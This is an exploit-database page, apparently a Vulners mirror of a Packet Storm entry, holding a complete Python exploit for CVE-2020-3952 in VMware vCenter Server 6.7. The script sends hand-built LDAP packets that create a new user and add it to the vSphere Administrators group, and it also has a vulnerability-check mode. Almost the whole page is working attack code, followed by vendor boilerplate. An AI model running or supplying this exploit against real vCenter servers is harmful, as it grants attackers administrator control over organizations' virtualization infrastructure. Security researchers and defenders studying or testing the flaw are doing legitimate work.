Lucene search
K

VMware vCenter Server 6.7 Authentication Bypass

🗓️ 02 Jun 2020 00:00:00Reported by PhotubiasType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 456 Views

VMware vCenter Server 6.7 Authentication Bypass - Exploi

Related
Code
`# Exploit Title: VMware vCenter Server 6.7 - Authentication Bypass  
# Date: 2020-06-01  
# Exploit Author: Photubias  
# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2020-0006.html  
# Version: vCenter Server 6.7 before update 3f  
# Tested on: vCenter Server Appliance 6.7 RTM (updated from v6.0)  
# CVE: CVE-2020-3952  
  
#!/usr/bin/env python3  
  
'''  
Copyright 2020 Photubias(c)   
This program is free software: you can redistribute it and/or modify  
it under the terms of the GNU General Public License as published by  
the Free Software Foundation, either version 3 of the License, or  
(at your option) any later version.  
  
This program is distributed in the hope that it will be useful,  
but WITHOUT ANY WARRANTY; without even the implied warranty of  
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the  
GNU General Public License for more details.  
  
You should have received a copy of the GNU General Public License  
along with this program. If not, see <http://www.gnu.org/licenses/>.  
  
Based (and reverse engineerd from): https://github.com/guardicore/vmware_vcenter_cve_2020_3952  
  
File name CVE-2020-3592.py  
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be  
  
## Vulnerable setup (requirements): vCenter Server 6.7 that was upgraded from 6.x  
  
This is a native implementation without requirements, written in Python 3.  
Works equally well on Windows as Linux (as MacOS, probably ;-)  
  
Features: exploit + vulnerability checker  
'''  
  
import binascii, socket, sys, string, random  
  
## Default vars; change at will  
_sIP = '192.168.50.35'  
_iPORT = 389  
_iTIMEOUT = 5  
  
def randomString(iStringLength=8):  
#sLetters = string.ascii_lowercase  
sLetters = string.ascii_letters  
return ''.join(random.choice(sLetters) for i in range(iStringLength))  
  
def getLengthPrefix(sData, sPrefix, hexBytes=1): ## sData is hexlified  
## This will calculate the length of the string, and verify if an additional '81' or '82' prefix is needed  
sReturn = sPrefix  
if (len(sData) / 2 ) > 255:  
sReturn += b'82'  
hexBytes = 2  
elif (len(sData) /2 ) >= 128:  
sReturn += b'81'  
sReturn += f"{int(len(sData)/2):#0{(hexBytes*2)+2}x}"[2:].encode()  
return sReturn  
  
def buildBindRequestPacket(sUser, sPass):  
sUser = binascii.hexlify(sUser.encode())  
sPass = binascii.hexlify(sPass.encode())  
## Packet Construction  
sPacket = getLengthPrefix(sPass, b'80') + sPass  
sPacket = getLengthPrefix(sUser, b'04') + sUser + sPacket  
sPacket = b'020103' + sPacket  
sPacket = getLengthPrefix(sPacket, b'60') + sPacket  
sPacket = b'020101' + sPacket  
sPacket = getLengthPrefix(sPacket, b'30') + sPacket  
#print(sPacket)  
return binascii.unhexlify(sPacket)   
  
def buildUserCreatePacket(sUser, sPass):  
sUser = binascii.hexlify(sUser.encode())  
sPass = binascii.hexlify(sPass.encode())  
def createAttribute(sName, sValue):  
sValue = getLengthPrefix(sValue, b'04') + sValue  
sName = getLengthPrefix(sName, b'04') + sName  
  
sReturn = getLengthPrefix(sValue, b'31') + sValue  
sReturn = sName + sReturn  
sReturn = getLengthPrefix(sReturn, b'30') + sReturn  
return sReturn  
  
def createObjectClass():  
sReturn = getLengthPrefix(binascii.hexlify(b'top'), b'04') + binascii.hexlify(b'top')  
sReturn += getLengthPrefix(binascii.hexlify(b'person'), b'04') + binascii.hexlify(b'person')  
sReturn += getLengthPrefix(binascii.hexlify(b'organizationalPerson'), b'04') + binascii.hexlify(b'organizationalPerson')  
sReturn += getLengthPrefix(binascii.hexlify(b'user'), b'04') + binascii.hexlify(b'user')  
  
sReturn = getLengthPrefix(sReturn, b'31') + sReturn  
sReturn = getLengthPrefix(binascii.hexlify(b'objectClass'), b'04') + binascii.hexlify(b'objectClass') + sReturn  
sReturn = getLengthPrefix(sReturn, b'30') + sReturn  
return sReturn  
  
## Attributes  
sAttributes = createAttribute(binascii.hexlify(b'vmwPasswordNeverExpires'), binascii.hexlify(b'True'))  
sAttributes += createAttribute(binascii.hexlify(b'userPrincipalName'), sUser + binascii.hexlify(b'@VSPHERE.LOCAL'))  
sAttributes += createAttribute(binascii.hexlify(b'sAMAccountName'), sUser)  
sAttributes += createAttribute(binascii.hexlify(b'givenName'), sUser)  
sAttributes += createAttribute(binascii.hexlify(b'sn'), binascii.hexlify(b'vsphere.local'))  
sAttributes += createAttribute(binascii.hexlify(b'cn'), sUser)  
sAttributes += createAttribute(binascii.hexlify(b'uid'), sUser)  
sAttributes += createObjectClass()  
sAttributes += createAttribute(binascii.hexlify(b'userPassword'), sPass)  
## CN  
sCN = binascii.hexlify(b'cn=') + sUser + binascii.hexlify(b',cn=Users,dc=vsphere,dc=local')  
sUserEntry = getLengthPrefix(sCN, b'04') + sCN  
  
## Packet Assembly (bottom up)  
sPacket = getLengthPrefix(sAttributes, b'30') + sAttributes  
sPacket = sUserEntry + sPacket  
sPacket = getLengthPrefix(sPacket, b'02010268', 2) + sPacket  
sPacket = getLengthPrefix(sPacket, b'30') + sPacket  
#print(sPacket)  
return binascii.unhexlify(sPacket)  
  
def buildModifyUserPacket(sUser):  
sFQDN = binascii.hexlify(('cn=' + sUser + ',cn=Users,dc=vsphere,dc=local').encode())  
sCN = binascii.hexlify(b'cn=Administrators,cn=Builtin,dc=vsphere,dc=local')  
sMember = binascii.hexlify(b'member')  
## Packet Construction  
sPacket = getLengthPrefix(sFQDN, b'04') + sFQDN  
sPacket = getLengthPrefix(sPacket, b'31') + sPacket  
sPacket = getLengthPrefix(sMember, b'04') + sMember + sPacket  
sPacket = getLengthPrefix(sPacket, b'0a010030') + sPacket  
sPacket = getLengthPrefix(sPacket, b'30') + sPacket  
sPacket = getLengthPrefix(sPacket, b'30') + sPacket  
sPacket = getLengthPrefix(sCN, b'04') + sCN + sPacket  
sPacket = getLengthPrefix(sPacket, b'02010366') + sPacket  
sPacket = getLengthPrefix(sPacket, b'30') + sPacket  
#print(sPacket)  
return binascii.unhexlify(sPacket)  
  
def performBind(s):  
## Trying to bind, fails, but necessary (even fails when using correct credentials)  
dPacket = buildBindRequestPacket('[email protected]','www.IC4.be')  
s.send(dPacket)  
sResponse = s.recv(1024)  
try:  
sResponse = sResponse.split(b'\x04\x00')[0][-1:]  
sCode = binascii.hexlify(sResponse).decode()  
if sCode == '31': print('[+] Ok, service reachable, continuing')  
else: print('[-] Something went wrong')  
except:  
pass  
return sCode  
  
def performUserAdd(s, sUser, sPass):  
dPacket = buildUserCreatePacket(sUser,sPass)  
s.send(dPacket)  
sResponse = s.recv(1024)  
try:  
sCode = sResponse.split(b'\x04\x00')[0][-1:]  
sMessage = sResponse.split(b'\x04\x00')[1]  
if sCode == b'\x00':  
print('[+] Success! User ' + sUser + '@vsphere.local added with password ' + sPass)  
elif sCode == b'\x32':  
print('[-] Error, this host is not vulnerable (insufficientAccessRights)')  
else:  
if sMessage[2] == b'81': sMessage = sMessage[3:].decode()  
else: sMessage = sMessage[2:].decode()  
print('[-] Error, user not added, message received: ' + sMessage)  
except:  
pass  
return sCode  
  
  
def performUserMod(s, sUser, verbose = True):  
dPacket = buildModifyUserPacket(sUser)  
s.send(dPacket)  
sResponse = s.recv(1024)  
try:  
sCode = sResponse.split(b'\x04\x00')[0][-1:]  
sMessage = sResponse.split(b'\x04\x00')[1]  
if sCode == b'\x00':  
if verbose: print('[+] User modification success (if the above is OK).')  
else:  
if sMessage[2] == b'81': sMessage = sMessage[3:].decode()  
else: sMessage = sMessage[2:].decode()  
if verbose: print('[-] Error during modification, message received: ' + sMessage)  
except:  
pass  
return sCode, sMessage  
  
def performUnbind(s):  
try: s.send(b'\x30\x05\x02\x01\x04\x42\x00')  
except: pass  
  
def main():  
global _sIP, _iPORT, _iTIMEOUT  
_sUSER = 'user_' + randomString(6)  
_sPASS = randomString(8) + '_2020'  
bAdduser = False  
if len(sys.argv) == 1:  
print('[!] No arguments found: python3 CVE-2020-3592.py <dstIP> [<newUsername>] [<newPassword>]')  
print(' Example: ./CVE-2020-3592.py ' + _sIP + ' ' + _sUSER + ' ' + _sPASS)  
print(' Leave username & password empty for a vulnerability check')  
print(' Watch out for vCenter/LDAP password requirements, leave empty for random password')  
print(' But for now, I will ask questions')  
sAnswer = input('[?] Please enter the vCenter IP address [' + _sIP + ']: ')  
if not sAnswer == '': _sIP = sAnswer  
sAnswer = input('[?] Want to perform a check only? [Y/n]: ')  
if sAnswer.lower() == 'n': bAdduser = True  
if bAdduser:  
sAnswer = input('[?] Please enter the new username to add [' + _sUSER + ']: ')  
if not sAnswer == '': _sUSER = sAnswer  
sAnswer = input('[?] Please enter the new password for this user [' + _sPASS + ']: ')  
if not sAnswer == '': _sPASS = sAnswer  
else:  
_sIP = sys.argv[1]  
if len(sys.argv) >= 3:  
_sUSER = sys.argv[2]  
bAdduser = True  
if len(sys.argv) >= 4: _sPASS = sys.argv[3]  
  
## MAIN  
print('')  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.settimeout(_iTIMEOUT)  
try:  
s.connect((_sIP,_iPORT))  
except:  
print('[-] Error: Host ' + _sIP + ':' + str(_iPORT) + ' not reachable')  
sys.exit(1)  
  
performBind(s)  
  
if bAdduser:  
sCode = performUserAdd(s, _sUSER, _sPASS)  
  
if not bAdduser:  
print('[!] Checking vulnerability')  
sCode, sMessage = performUserMod(s, 'Administrator', False)  
if sCode == b'\x32': print('[-] This host is not vulnerable, message: ' + sMessage)  
else: print('[+] This host is vulnerable!')  
else:  
sCode = performUserMod(s, _sUSER)  
  
performUnbind(s)  
  
s.close()  
  
  
if __name__ == "__main__":  
main()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jun 2020 00:00Current
0.9Low risk
Vulners AI Score0.9
EPSS0.94372
456